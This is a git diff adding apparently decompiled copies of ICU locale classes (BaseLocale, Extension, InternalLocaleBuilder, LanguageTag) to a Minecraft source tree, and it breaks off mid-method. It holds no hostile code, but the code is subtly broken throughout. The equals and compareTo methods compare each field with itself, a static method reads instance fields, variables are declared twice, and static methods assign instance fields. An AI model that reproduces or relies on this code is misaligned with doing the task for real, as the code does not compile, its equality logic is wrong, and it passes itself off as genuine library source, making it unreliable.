+      for (int i = 0; i < _region.length(); i++) {
+        h = 31 * h + _region.charAt(i);
+      }
+      for (int i = 0; i < _variant.length(); i++) {
+        h = 31 * h + _variant.charAt(i);
+      }
+      _hash = h;
+    }
+    return h;
+  }
+  
+  private static class Key implements Comparable<Key> {
+    private String _lang = "";
+    private String _scrt = "";
+    private String _regn = "";
+    private String _vart = "";
+    private volatile int _hash;
+    
+    public Key(String language, String script, String region, String variant)
+    {
+      if (language != null) {
+        _lang = language;
+      }
+      if (script != null) {
+        _scrt = script;
+      }
+      if (region != null) {
+        _regn = region;
+      }
+      if (variant != null) {
+        _vart = variant;
+      }
+    }
+    
+
+
+
+
+
+
+
+    public boolean equals(Object obj)
+    {
+      return (this == obj) || (((obj instanceof Key)) && (AsciiUtil.caseIgnoreMatch(_lang, _lang)) && (AsciiUtil.caseIgnoreMatch(_scrt, _scrt)) && (AsciiUtil.caseIgnoreMatch(_regn, _regn)) && (AsciiUtil.caseIgnoreMatch(_vart, _vart)));
+    }
+    
+
+
+
+
+    public int compareTo(Key other)
+    {
+      int res = AsciiUtil.caseIgnoreCompare(_lang, _lang);
+      if (res == 0) {
+        res = AsciiUtil.caseIgnoreCompare(_scrt, _scrt);
+        if (res == 0) {
+          res = AsciiUtil.caseIgnoreCompare(_regn, _regn);
+          if (res == 0)
+          {
+
+
+            res = AsciiUtil.caseIgnoreCompare(_vart, _vart);
+          }
+        }
+      }
+      
+      return res;
+    }
+    
+    public int hashCode() {
+      int h = _hash;
+      if (h == 0)
+      {
+        for (int i = 0; i < _lang.length(); i++) {
+          h = 31 * h + AsciiUtil.toLower(_lang.charAt(i));
+        }
+        for (int i = 0; i < _scrt.length(); i++) {
+          h = 31 * h + AsciiUtil.toLower(_scrt.charAt(i));
+        }
+        for (int i = 0; i < _regn.length(); i++) {
+          h = 31 * h + AsciiUtil.toLower(_regn.charAt(i));
+        }
+        for (int i = 0; i < _vart.length(); i++)
+        {
+
+
+          h = 31 * h + AsciiUtil.toLower(_vart.charAt(i));
+        }
+        
+        _hash = h;
+      }
+      return h;
+    }
+    
+    public static Key normalize(Key key) {
+      String lang = AsciiUtil.toLowerString(_lang).intern();
+      String scrt = AsciiUtil.toTitleString(_scrt).intern();
+      String regn = AsciiUtil.toUpperString(_regn).intern();
+      
+
+
+
+
+      String vart = AsciiUtil.toUpperString(_vart).intern();
+      
+      return new Key(lang, scrt, regn, vart);
+    }
+  }
+  
+  private static class Cache extends LocaleObjectCache<BaseLocale.Key, BaseLocale>
+  {
+    public Cache() {}
+    
+    protected BaseLocale.Key normalizeKey(BaseLocale.Key key)
+    {
+      return BaseLocale.Key.normalize(key);
+    }
+    
+    protected BaseLocale createObject(BaseLocale.Key key) {
+      return new BaseLocale(BaseLocale.Key.access$000(key), BaseLocale.Key.access$100(key), BaseLocale.Key.access$200(key), BaseLocale.Key.access$300(key), null);
+    }
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/impl/locale/Extension.java b/src/minecraft/com/ibm/icu/impl/locale/Extension.java
new file mode 100644
index 0000000..f6e65db
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/impl/locale/Extension.java
@@ -0,0 +1,38 @@
+package com.ibm.icu.impl.locale;
+
+
+
+public class Extension
+{
+  private char _key;
+  
+
+  protected String _value;
+  
+
+  protected Extension(char key)
+  {
+    _key = key;
+  }
+  
+  Extension(char key, String value) {
+    _key = key;
+    _value = value;
+  }
+  
+  public char getKey() {
+    return _key;
+  }
+  
+  public String getValue() {
+    return _value;
+  }
+  
+  public String getID() {
+    return _key + "-" + _value;
+  }
+  
+  public String toString() {
+    return getID();
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/impl/locale/InternalLocaleBuilder.java b/src/minecraft/com/ibm/icu/impl/locale/InternalLocaleBuilder.java
new file mode 100644
index 0000000..4f06ba3
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/impl/locale/InternalLocaleBuilder.java
@@ -0,0 +1,683 @@
+package com.ibm.icu.impl.locale;
+
+import java.util.ArrayList;
+import java.util.HashMap;
+import java.util.HashSet;
+import java.util.List;
+import java.util.Set;
+
+
+
+
+
+
+
+
+public final class InternalLocaleBuilder
+{
+  private static final boolean JDKIMPL = false;
+  private String _language = "";
+  private String _script = "";
+  private String _region = "";
+  private String _variant = "";
+  
+  private static final CaseInsensitiveChar PRIVUSE_KEY = new CaseInsensitiveChar("x".charAt(0));
+  
+  private HashMap<CaseInsensitiveChar, String> _extensions;
+  private HashSet<CaseInsensitiveString> _uattributes;
+  private HashMap<CaseInsensitiveString, String> _ukeywords;
+  
+  public InternalLocaleBuilder() {}
+  
+  public InternalLocaleBuilder setLanguage(String language)
+    throws LocaleSyntaxException
+  {
+    if ((language == null) || (language.length() == 0)) {
+      _language = "";
+    } else {
+      if (!LanguageTag.isLanguage(language)) {
+        throw new LocaleSyntaxException("Ill-formed language: " + language, 0);
+      }
+      _language = language;
+    }
+    return this;
+  }
+  
+  public InternalLocaleBuilder setScript(String script) throws LocaleSyntaxException {
+    if ((script == null) || (script.length() == 0)) {
+      _script = "";
+    } else {
+      if (!LanguageTag.isScript(script)) {
+        throw new LocaleSyntaxException("Ill-formed script: " + script, 0);
+      }
+      _script = script;
+    }
+    return this;
+  }
+  
+  public InternalLocaleBuilder setRegion(String region) throws LocaleSyntaxException {
+    if ((region == null) || (region.length() == 0)) {
+      _region = "";
+    } else {
+      if (!LanguageTag.isRegion(region)) {
+        throw new LocaleSyntaxException("Ill-formed region: " + region, 0);
+      }
+      _region = region;
+    }
+    return this;
+  }
+  
+  public InternalLocaleBuilder setVariant(String variant) throws LocaleSyntaxException {
+    if ((variant == null) || (variant.length() == 0)) {
+      _variant = "";
+    }
+    else {
+      String var = variant.replaceAll("-", "_");
+      int errIdx = checkVariants(var, "_");
+      if (errIdx != -1) {
+        throw new LocaleSyntaxException("Ill-formed variant: " + variant, errIdx);
+      }
+      _variant = var;
+    }
+    return this;
+  }
+  
+  public InternalLocaleBuilder addUnicodeLocaleAttribute(String attribute) throws LocaleSyntaxException {
+    if ((attribute == null) || (!UnicodeLocaleExtension.isAttribute(attribute))) {
+      throw new LocaleSyntaxException("Ill-formed Unicode locale attribute: " + attribute);
+    }
+    
+    if (_uattributes == null) {
+      _uattributes = new HashSet(4);
+    }
+    _uattributes.add(new CaseInsensitiveString(attribute));
+    return this;
+  }
+  
+  public InternalLocaleBuilder removeUnicodeLocaleAttribute(String attribute) throws LocaleSyntaxException {
+    if ((attribute == null) || (!UnicodeLocaleExtension.isAttribute(attribute))) {
+      throw new LocaleSyntaxException("Ill-formed Unicode locale attribute: " + attribute);
+    }
+    if (_uattributes != null) {
+      _uattributes.remove(new CaseInsensitiveString(attribute));
+    }
+    return this;
+  }
+  
+  public InternalLocaleBuilder setUnicodeLocaleKeyword(String key, String type) throws LocaleSyntaxException {
+    if (!UnicodeLocaleExtension.isKey(key)) {
+      throw new LocaleSyntaxException("Ill-formed Unicode locale keyword key: " + key);
+    }
+    
+    CaseInsensitiveString cikey = new CaseInsensitiveString(key);
+    if (type == null) {
+      if (_ukeywords != null)
+      {
+        _ukeywords.remove(cikey);
+      }
+    } else {
+      if (type.length() != 0)
+      {
+        String tp = type.replaceAll("_", "-");
+        
+        StringTokenIterator itr = new StringTokenIterator(tp, "-");
+        while (!itr.isDone()) {
+          String s = itr.current();
+          if (!UnicodeLocaleExtension.isTypeSubtag(s)) {
+            throw new LocaleSyntaxException("Ill-formed Unicode locale keyword type: " + type, itr.currentStart());
+          }
+          itr.next();
+        }
+      }
+      if (_ukeywords == null) {
+        _ukeywords = new HashMap(4);
+      }
+      _ukeywords.put(cikey, type);
+    }
+    return this;
+  }
+  
+  public InternalLocaleBuilder setExtension(char singleton, String value) throws LocaleSyntaxException
+  {
+    boolean isBcpPrivateuse = LanguageTag.isPrivateusePrefixChar(singleton);
+    if ((!isBcpPrivateuse) && (!LanguageTag.isExtensionSingletonChar(singleton))) {
+      throw new LocaleSyntaxException("Ill-formed extension key: " + singleton);
+    }
+    
+    boolean remove = (value == null) || (value.length() == 0);
+    CaseInsensitiveChar key = new CaseInsensitiveChar(singleton);
+    
+    if (remove) {
+      if (UnicodeLocaleExtension.isSingletonChar(key.value()))
+      {
+        if (_uattributes != null) {
+          _uattributes.clear();
+        }
+        if (_ukeywords != null) {
+          _ukeywords.clear();
+        }
+      }
+      else if ((_extensions != null) && (_extensions.containsKey(key))) {
+        _extensions.remove(key);
+      }
+    }
+    else
+    {
+      String val = value.replaceAll("_", "-");
+      StringTokenIterator itr = new StringTokenIterator(val, "-");
+      while (!itr.isDone()) {
+        String s = itr.current();
+        boolean validSubtag;
+        boolean validSubtag; if (isBcpPrivateuse) {
+          validSubtag = LanguageTag.isPrivateuseSubtag(s);
+        } else {
+          validSubtag = LanguageTag.isExtensionSubtag(s);
+        }
+        if (!validSubtag) {
+          throw new LocaleSyntaxException("Ill-formed extension value: " + s, itr.currentStart());
+        }
+        itr.next();
+      }
+      
+      if (UnicodeLocaleExtension.isSingletonChar(key.value())) {
+        setUnicodeLocaleExtension(val);
+      } else {
+        if (_extensions == null) {
+          _extensions = new HashMap(4);
+        }
+        _extensions.put(key, val);
+      }
+    }
+    return this;
+  }
+  
+
+  public InternalLocaleBuilder setExtensions(String subtags)
+    throws LocaleSyntaxException
+  {
+    if ((subtags == null) || (subtags.length() == 0)) {
+      clearExtensions();
+      return this;
+    }
+    subtags = subtags.replaceAll("_", "-");
+    StringTokenIterator itr = new StringTokenIterator(subtags, "-");
+    
+    List<String> extensions = null;
+    String privateuse = null;
+    
+    int parsed = 0;
+    
+
+
+    while (!itr.isDone()) {
+      String s = itr.current();
+      if (!LanguageTag.isExtensionSingleton(s)) break;
+      int start = itr.currentStart();
+      String singleton = s;
+      StringBuilder sb = new StringBuilder(singleton);
+      
+      itr.next();
+      while (!itr.isDone()) {
+        s = itr.current();
+        if (!LanguageTag.isExtensionSubtag(s)) break;
+        sb.append("-").append(s);
+        parsed = itr.currentEnd();
+        
+
+
+        itr.next();
+      }
+      
+      if (parsed < start) {
+        throw new LocaleSyntaxException("Incomplete extension '" + singleton + "'", start);
+      }
+      
+      if (extensions == null) {
+        extensions = new ArrayList(4);
+      }
+      extensions.add(sb.toString());
+    }
+    
+
+
+    if (!itr.isDone()) {
+      String s = itr.current();
+      if (LanguageTag.isPrivateusePrefix(s)) {
+        int start = itr.currentStart();
+        StringBuilder sb = new StringBuilder(s);
+        
+        itr.next();
+        while (!itr.isDone()) {
+          s = itr.current();
+          if (!LanguageTag.isPrivateuseSubtag(s)) {
+            break;
+          }
+          sb.append("-").append(s);
+          parsed = itr.currentEnd();
+          
+          itr.next();
+        }
+        if (parsed <= start) {
+          throw new LocaleSyntaxException("Incomplete privateuse:" + subtags.substring(start), start);
+        }
+        privateuse = sb.toString();
+      }
+    }
+    
+
+    if (!itr.isDone()) {
+      throw new LocaleSyntaxException("Ill-formed extension subtags:" + subtags.substring(itr.currentStart()), itr.currentStart());
+    }
+    
+    return setExtensions(extensions, privateuse);
+  }
+  
+
+
+
+  private InternalLocaleBuilder setExtensions(List<String> bcpExtensions, String privateuse)
+  {
+    clearExtensions();
+    HashSet<CaseInsensitiveChar> processedExtensions;
+    if ((bcpExtensions != null) && (bcpExtensions.size() > 0)) {
+      processedExtensions = new HashSet(bcpExtensions.size());
+      for (String bcpExt : bcpExtensions) {
+        CaseInsensitiveChar key = new CaseInsensitiveChar(bcpExt.charAt(0));
+        
+        if (!processedExtensions.contains(key))
+        {
+          if (UnicodeLocaleExtension.isSingletonChar(key.value())) {
+            setUnicodeLocaleExtension(bcpExt.substring(2));
+          } else {
+            if (_extensions == null) {
+              _extensions = new HashMap(4);
+            }
+            _extensions.put(key, bcpExt.substring(2));
+          }
+        }
+      }
+    }
+    if ((privateuse != null) && (privateuse.length() > 0))
+    {
+      if (_extensions == null) {
+        _extensions = new HashMap(1);
+      }
+      _extensions.put(new CaseInsensitiveChar(privateuse.charAt(0)), privateuse.substring(2));
+    }
+    
+    return this;
+  }
+  
+
+
+  public InternalLocaleBuilder setLanguageTag(LanguageTag langtag)
+  {
+    clear();
+    if (langtag.getExtlangs().size() > 0) {
+      _language = ((String)langtag.getExtlangs().get(0));
+    } else {
+      String language = langtag.getLanguage();
+      if (!language.equals(LanguageTag.UNDETERMINED)) {
+        _language = language;
+      }
+    }
+    _script = langtag.getScript();
+    _region = langtag.getRegion();
+    
+    List<String> bcpVariants = langtag.getVariants();
+    if (bcpVariants.size() > 0) {
+      StringBuilder var = new StringBuilder((String)bcpVariants.get(0));
+      for (int i = 1; i < bcpVariants.size(); i++) {
+        var.append("_").append((String)bcpVariants.get(i));
+      }
+      _variant = var.toString();
+    }
+    
+    setExtensions(langtag.getExtensions(), langtag.getPrivateuse());
+    
+    return this;
+  }
+  
+  public InternalLocaleBuilder setLocale(BaseLocale base, LocaleExtensions extensions) throws LocaleSyntaxException {
+    String language = base.getLanguage();
+    String script = base.getScript();
+    String region = base.getRegion();
+    String variant = base.getVariant();
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+    if ((language.length() > 0) && (!LanguageTag.isLanguage(language))) {
+      throw new LocaleSyntaxException("Ill-formed language: " + language);
+    }
+    
+    if ((script.length() > 0) && (!LanguageTag.isScript(script))) {
+      throw new LocaleSyntaxException("Ill-formed script: " + script);
+    }
+    
+    if ((region.length() > 0) && (!LanguageTag.isRegion(region))) {
+      throw new LocaleSyntaxException("Ill-formed region: " + region);
+    }
+    
+    if (variant.length() > 0) {
+      int errIdx = checkVariants(variant, "_");
+      if (errIdx != -1) {
+        throw new LocaleSyntaxException("Ill-formed variant: " + variant, errIdx);
+      }
+    }
+    
+
+
+    _language = language;
+    _script = script;
+    _region = region;
+    _variant = variant;
+    clearExtensions();
+    
+    Set<Character> extKeys = extensions == null ? null : extensions.getKeys();
+    if (extKeys != null)
+    {
+      for (Character key : extKeys) {
+        Extension e = extensions.getExtension(key);
+        UnicodeLocaleExtension ue; if ((e instanceof UnicodeLocaleExtension)) {
+          ue = (UnicodeLocaleExtension)e;
+          for (String uatr : ue.getUnicodeLocaleAttributes()) {
+            if (_uattributes == null) {
+              _uattributes = new HashSet(4);
+            }
+            _uattributes.add(new CaseInsensitiveString(uatr));
+          }
+          for (String ukey : ue.getUnicodeLocaleKeys()) {
+            if (_ukeywords == null) {
+              _ukeywords = new HashMap(4);
+            }
+            _ukeywords.put(new CaseInsensitiveString(ukey), ue.getUnicodeLocaleType(ukey));
+          }
+        } else {
+          if (_extensions == null) {
+            _extensions = new HashMap(4);
+          }
+          _extensions.put(new CaseInsensitiveChar(key.charValue()), e.getValue());
+        }
+      }
+    }
+    return this;
+  }
+  
+  public InternalLocaleBuilder clear() {
+    _language = "";
+    _script = "";
+    _region = "";
+    _variant = "";
+    clearExtensions();
+    return this;
+  }
+  
+  public InternalLocaleBuilder clearExtensions() {
+    if (_extensions != null) {
+      _extensions.clear();
+    }
+    if (_uattributes != null) {
+      _uattributes.clear();
+    }
+    if (_ukeywords != null) {
+      _ukeywords.clear();
+    }
+    return this;
+  }
+  
+  public BaseLocale getBaseLocale() {
+    String language = _language;
+    String script = _script;
+    String region = _region;
+    String variant = _variant;
+    
+
+
+    if (_extensions != null) {
+      String privuse = (String)_extensions.get(PRIVUSE_KEY);
+      if (privuse != null) {
+        StringTokenIterator itr = new StringTokenIterator(privuse, "-");
+        boolean sawPrefix = false;
+        int privVarStart = -1;
+        while (!itr.isDone()) {
+          if (sawPrefix) {
+            privVarStart = itr.currentStart();
+            break;
+          }
+          if (AsciiUtil.caseIgnoreMatch(itr.current(), "lvariant")) {
+            sawPrefix = true;
+          }
+          itr.next();
+        }
+        if (privVarStart != -1) {
+          StringBuilder sb = new StringBuilder(variant);
+          if (sb.length() != 0) {
+            sb.append("_");
+          }
+          sb.append(privuse.substring(privVarStart).replaceAll("-", "_"));
+          variant = sb.toString();
+        }
+      }
+    }
+    
+    return BaseLocale.getInstance(language, script, region, variant);
+  }
+  
+  public LocaleExtensions getLocaleExtensions() {
+    if (((_extensions == null) || (_extensions.size() == 0)) && ((_uattributes == null) || (_uattributes.size() == 0)) && ((_ukeywords == null) || (_ukeywords.size() == 0)))
+    {
+
+      return LocaleExtensions.EMPTY_EXTENSIONS;
+    }
+    
+    return new LocaleExtensions(_extensions, _uattributes, _ukeywords);
+  }
+  
+
+
+
+  static String removePrivateuseVariant(String privuseVal)
+  {
+    StringTokenIterator itr = new StringTokenIterator(privuseVal, "-");
+    
+
+
+
+    int prefixStart = -1;
+    boolean sawPrivuseVar = false;
+    while (!itr.isDone()) {
+      if (prefixStart != -1)
+      {
+
+        sawPrivuseVar = true;
+        break;
+      }
+      if (AsciiUtil.caseIgnoreMatch(itr.current(), "lvariant")) {
+        prefixStart = itr.currentStart();
+      }
+      itr.next();
+    }
+    if (!sawPrivuseVar) {
+      return privuseVal;
+    }
+    
+    assert ((prefixStart == 0) || (prefixStart > 1));
+    return prefixStart == 0 ? null : privuseVal.substring(0, prefixStart - 1);
+  }
+  
+
+
+
+  private int checkVariants(String variants, String sep)
+  {
+    StringTokenIterator itr = new StringTokenIterator(variants, sep);
+    while (!itr.isDone()) {
+      String s = itr.current();
+      if (!LanguageTag.isVariant(s)) {
+        return itr.currentStart();
+      }
+      itr.next();
+    }
+    return -1;
+  }
+  
+
+
+
+
+
+  private void setUnicodeLocaleExtension(String subtags)
+  {
+    if (_uattributes != null) {
+      _uattributes.clear();
+    }
+    if (_ukeywords != null) {
+      _ukeywords.clear();
+    }
+    
+    StringTokenIterator itr = new StringTokenIterator(subtags, "-");
+    
+
+    while ((!itr.isDone()) && 
+      (UnicodeLocaleExtension.isAttribute(itr.current())))
+    {
+
+      if (_uattributes == null) {
+        _uattributes = new HashSet(4);
+      }
+      _uattributes.add(new CaseInsensitiveString(itr.current()));
+      itr.next();
+    }
+    
+
+    CaseInsensitiveString key = null;
+    
+    int typeStart = -1;
+    int typeEnd = -1;
+    while (!itr.isDone()) {
+      if (key != null) {
+        if (UnicodeLocaleExtension.isKey(itr.current()))
+        {
+          assert ((typeStart == -1) || (typeEnd != -1));
+          String type = typeStart == -1 ? "" : subtags.substring(typeStart, typeEnd);
+          if (_ukeywords == null) {
+            _ukeywords = new HashMap(4);
+          }
+          _ukeywords.put(key, type);
+          
+
+          CaseInsensitiveString tmpKey = new CaseInsensitiveString(itr.current());
+          key = _ukeywords.containsKey(tmpKey) ? null : tmpKey;
+          typeStart = typeEnd = -1;
+        } else {
+          if (typeStart == -1) {
+            typeStart = itr.currentStart();
+          }
+          typeEnd = itr.currentEnd();
+        }
+      } else if (UnicodeLocaleExtension.isKey(itr.current()))
+      {
+
+        key = new CaseInsensitiveString(itr.current());
+        if ((_ukeywords != null) && (_ukeywords.containsKey(key)))
+        {
+          key = null;
+        }
+      }
+      
+      if (!itr.hasNext()) {
+        if (key == null)
+          break;
+        assert ((typeStart == -1) || (typeEnd != -1));
+        String type = typeStart == -1 ? "" : subtags.substring(typeStart, typeEnd);
+        if (_ukeywords == null) {
+          _ukeywords = new HashMap(4);
+        }
+        _ukeywords.put(key, type); break;
+      }
+      
+
+
+      itr.next();
+    }
+  }
+  
+  static class CaseInsensitiveString {
+    private String _s;
+    
+    CaseInsensitiveString(String s) {
+      _s = s;
+    }
+    
+    public String value() {
+      return _s;
+    }
+    
+    public int hashCode() {
+      return AsciiUtil.toLowerString(_s).hashCode();
+    }
+    
+    public boolean equals(Object obj) {
+      if (this == obj) {
+        return true;
+      }
+      if (!(obj instanceof CaseInsensitiveString)) {
+        return false;
+      }
+      return AsciiUtil.caseIgnoreMatch(_s, ((CaseInsensitiveString)obj).value());
+    }
+  }
+  
+  static class CaseInsensitiveChar {
+    private char _c;
+    
+    CaseInsensitiveChar(char c) {
+      _c = c;
+    }
+    
+    public char value() {
+      return _c;
+    }
+    
+    public int hashCode() {
+      return AsciiUtil.toLower(_c);
+    }
+    
+    public boolean equals(Object obj) {
+      if (this == obj) {
+        return true;
+      }
+      if (!(obj instanceof CaseInsensitiveChar)) {
+        return false;
+      }
+      return _c == AsciiUtil.toLower(((CaseInsensitiveChar)obj).value());
+    }
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/impl/locale/LanguageTag.java b/src/minecraft/com/ibm/icu/impl/locale/LanguageTag.java
new file mode 100644
index 0000000..cb4c5f6
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/impl/locale/LanguageTag.java
@@ -0,0 +1,722 @@
+package com.ibm.icu.impl.locale;
+
+import java.util.ArrayList;
+import java.util.Collections;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+import java.util.Set;
+
+
+
+
+
+
+
+
+
+
+public class LanguageTag
+{
+  private static final boolean JDKIMPL = false;
+  public static final String SEP = "-";
+  public static final String PRIVATEUSE = "x";
+  public static String UNDETERMINED = "und";
+  
+
+  public static final String PRIVUSE_VARIANT_PREFIX = "lvariant";
+  
+
+  private String _language = "";
+  private String _script = "";
+  private String _region = "";
+  private String _privateuse = "";
+  
+  private List<String> _extlangs = Collections.emptyList();
+  private List<String> _variants = Collections.emptyList();
+  private List<String> _extensions = Collections.emptyList();
+  
+
+
+  private static final Map<AsciiUtil.CaseInsensitiveKey, String[]> GRANDFATHERED = new HashMap();
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  static
+  {
+    String[][] entries = { { "art-lojban", "jbo" }, { "cel-gaulish", "xtg-x-cel-gaulish" }, { "en-GB-oed", "en-GB-x-oed" }, { "i-ami", "ami" }, { "i-bnn", "bnn" }, { "i-default", "en-x-i-default" }, { "i-enochian", "und-x-i-enochian" }, { "i-hak", "hak" }, { "i-klingon", "tlh" }, { "i-lux", "lb" }, { "i-mingo", "see-x-i-mingo" }, { "i-navajo", "nv" }, { "i-pwn", "pwn" }, { "i-tao", "tao" }, { "i-tay", "tay" }, { "i-tsu", "tsu" }, { "no-bok", "nb" }, { "no-nyn", "nn" }, { "sgn-BE-FR", "sfb" }, { "sgn-BE-NL", "vgt" }, { "sgn-CH-DE", "sgg" }, { "zh-guoyu", "cmn" }, { "zh-hakka", "hak" }, { "zh-min", "nan-x-zh-min" }, { "zh-min-nan", "nan" }, { "zh-xiang", "hsn" } };
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+    for (String[] e : entries) {
+      GRANDFATHERED.put(new AsciiUtil.CaseInsensitiveKey(e[0]), e);
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static LanguageTag parse(String languageTag, ParseStatus sts)
+  {
+    if (sts == null) {
+      sts = new ParseStatus();
+    } else {
+      sts.reset();
+    }
+    
+
+
+
+    String[] gfmap = (String[])GRANDFATHERED.get(new AsciiUtil.CaseInsensitiveKey(languageTag));
+    StringTokenIterator itr; StringTokenIterator itr; if (gfmap != null)
+    {
+      itr = new StringTokenIterator(gfmap[1], "-");
+    } else {
+      itr = new StringTokenIterator(languageTag, "-");
+    }
+    
+    LanguageTag tag = new LanguageTag();
+    
+
+    if (tag.parseLanguage(itr, sts)) {
+      tag.parseExtlangs(itr, sts);
+      tag.parseScript(itr, sts);
+      tag.parseRegion(itr, sts);
+      tag.parseVariants(itr, sts);
+      tag.parseExtensions(itr, sts);
+    }
+    tag.parsePrivateuse(itr, sts);
+    
+    if ((!itr.isDone()) && (!sts.isError())) {
+      String s = itr.current();
+      _errorIndex = itr.currentStart();
+      if (s.length() == 0) {
+        _errorMsg = "Empty subtag";
+      } else {
+        _errorMsg = ("Invalid subtag: " + s);
+      }
+    }
+    
+    return tag;
+  }
+  
+
+
+
+  private boolean parseLanguage(StringTokenIterator itr, ParseStatus sts)
+  {
+    if ((itr.isDone()) || (sts.isError())) {
+      return false;
+    }
+    
+    boolean found = false;
+    
+    String s = itr.current();
+    if (isLanguage(s)) {
+      found = true;
+      _language = s;
+      _parseLength = itr.currentEnd();
+      itr.next();
+    }
+    
+    return found;
+  }
+  
+  private boolean parseExtlangs(StringTokenIterator itr, ParseStatus sts) {
+    if ((itr.isDone()) || (sts.isError())) {
+      return false;
+    }
+    
+    boolean found = false;
+    
+    while (!itr.isDone()) {
+      String s = itr.current();
+      if (!isExtlang(s)) {
+        break;
+      }
+      found = true;
+      if (_extlangs.isEmpty()) {
+        _extlangs = new ArrayList(3);
+      }
+      _extlangs.add(s);
+      _parseLength = itr.currentEnd();
+      itr.next();
+      
+      if (_extlangs.size() == 3) {
+        break;
+      }
+    }
+    
+
+    return found;
+  }
+  
+  private boolean parseScript(StringTokenIterator itr, ParseStatus sts) {
+    if ((itr.isDone()) || (sts.isError())) {
+      return false;
+    }
+    
+    boolean found = false;
+    
+    String s = itr.current();
+    if (isScript(s)) {
+      found = true;
+      _script = s;
+      _parseLength = itr.currentEnd();
+      itr.next();
+    }
+    
+    return found;
+  }
+  
+  private boolean parseRegion(StringTokenIterator itr, ParseStatus sts) {
+    if ((itr.isDone()) || (sts.isError())) {
+      return false;
+    }
+    
+    boolean found = false;
+    
+    String s = itr.current();
+    if (isRegion(s)) {
+      found = true;
+      _region = s;
+      _parseLength = itr.currentEnd();
+      itr.next();
+    }
+    
+    return found;
+  }
+  
+  private boolean parseVariants(StringTokenIterator itr, ParseStatus sts) {
+    if ((itr.isDone()) || (sts.isError())) {
+      return false;
+    }
+    
+    boolean found = false;
+    
+    while (!itr.isDone()) {
+      String s = itr.current();
+      if (!isVariant(s)) {
+        break;
+      }
+      found = true;
+      if (_variants.isEmpty()) {
+        _variants = new ArrayList(3);
+      }
+      _variants.add(s);
+      _parseLength = itr.currentEnd();
+      itr.next();
+    }
+    
+    return found;
+  }
+  
+  private boolean parseExtensions(StringTokenIterator itr, ParseStatus sts) {
+    if ((itr.isDone()) || (sts.isError())) {
+      return false;
+    }
+    
+    boolean found = false;
+    
+    while (!itr.isDone()) {
+      String s = itr.current();
+      if (!isExtensionSingleton(s)) break;
+      int start = itr.currentStart();
+      String singleton = s;
+      StringBuilder sb = new StringBuilder(singleton);
+      
+      itr.next();
+      while (!itr.isDone()) {
+        s = itr.current();
+        if (!isExtensionSubtag(s)) break;
+        sb.append("-").append(s);
+        _parseLength = itr.currentEnd();
+        
+
+
+        itr.next();
+      }
+      
+      if (_parseLength <= start) {
+        _errorIndex = start;
+        _errorMsg = ("Incomplete extension '" + singleton + "'");
+        break;
+      }
+      
+      if (_extensions.size() == 0) {
+        _extensions = new ArrayList(4);
+      }
+      _extensions.add(sb.toString());
+      found = true;
+    }
+    
+
+
+    return found;
+  }
+  
+  private boolean parsePrivateuse(StringTokenIterator itr, ParseStatus sts) {
+    if ((itr.isDone()) || (sts.isError())) {
+      return false;
+    }
+    
+    boolean found = false;
+    
+    String s = itr.current();
+    if (isPrivateusePrefix(s)) {
+      int start = itr.currentStart();
+      StringBuilder sb = new StringBuilder(s);
+      
+      itr.next();
+      while (!itr.isDone()) {
+        s = itr.current();
+        if (!isPrivateuseSubtag(s)) {
+          break;
+        }
+        sb.append("-").append(s);
+        _parseLength = itr.currentEnd();
+        
+        itr.next();
+      }
+      
+      if (_parseLength <= start)
+      {
+        _errorIndex = start;
+        _errorMsg = "Incomplete privateuse";
+      } else {
+        _privateuse = sb.toString();
+        found = true;
+      }
+    }
+    
+    return found;
+  }
+  
+  public static LanguageTag parseLocale(BaseLocale baseLocale, LocaleExtensions localeExtensions) {
+    LanguageTag tag = new LanguageTag();
+    
+    String language = baseLocale.getLanguage();
+    String script = baseLocale.getScript();
+    String region = baseLocale.getRegion();
+    String variant = baseLocale.getVariant();
+    
+    boolean hasSubtag = false;
+    
+    String privuseVar = null;
+    
+    if ((language.length() > 0) && (isLanguage(language)))
+    {
+
+      if (language.equals("iw")) {
+        language = "he";
+      } else if (language.equals("ji")) {
+        language = "yi";
+      } else if (language.equals("in")) {
+        language = "id";
+      }
+      _language = language;
+    }
+    
+    if ((script.length() > 0) && (isScript(script))) {
+      _script = canonicalizeScript(script);
+      hasSubtag = true;
+    }
+    
+    if ((region.length() > 0) && (isRegion(region))) {
+      _region = canonicalizeRegion(region);
+      hasSubtag = true;
+    }
+    
+
+
+
+
+
+
+
+
+    if (variant.length() > 0) {
+      List<String> variants = null;
+      StringTokenIterator varitr = new StringTokenIterator(variant, "_");
+      while (!varitr.isDone()) {
+        String var = varitr.current();
+        if (!isVariant(var)) {
+          break;
+        }
+        if (variants == null) {
+          variants = new ArrayList();
+        }
+        
+
+
+        variants.add(canonicalizeVariant(var));
+        
+        varitr.next();
+      }
+      if (variants != null) {
+        _variants = variants;
+        hasSubtag = true;
+      }
+      if (!varitr.isDone())
+      {
+        StringBuilder buf = new StringBuilder();
+        while (!varitr.isDone()) {
+          String prvv = varitr.current();
+          if (!isPrivateuseSubtag(prvv)) {
+            break;
+          }
+          
+          if (buf.length() > 0) {
+            buf.append("-");
+          }
+          
+          prvv = AsciiUtil.toLowerString(prvv);
+          
+          buf.append(prvv);
+          varitr.next();
+        }
+        if (buf.length() > 0) {
+          privuseVar = buf.toString();
+        }
+      }
+    }
+    
+    List<String> extensions = null;
+    String privateuse = null;
+    
+    Set<Character> locextKeys = localeExtensions.getKeys();
+    for (Character locextKey : locextKeys) {
+      Extension ext = localeExtensions.getExtension(locextKey);
+      if (isPrivateusePrefixChar(locextKey.charValue())) {
+        privateuse = ext.getValue();
+      } else {
+        if (extensions == null) {
+          extensions = new ArrayList();
+        }
+        extensions.add(locextKey.toString() + "-" + ext.getValue());
+      }
+    }
+    
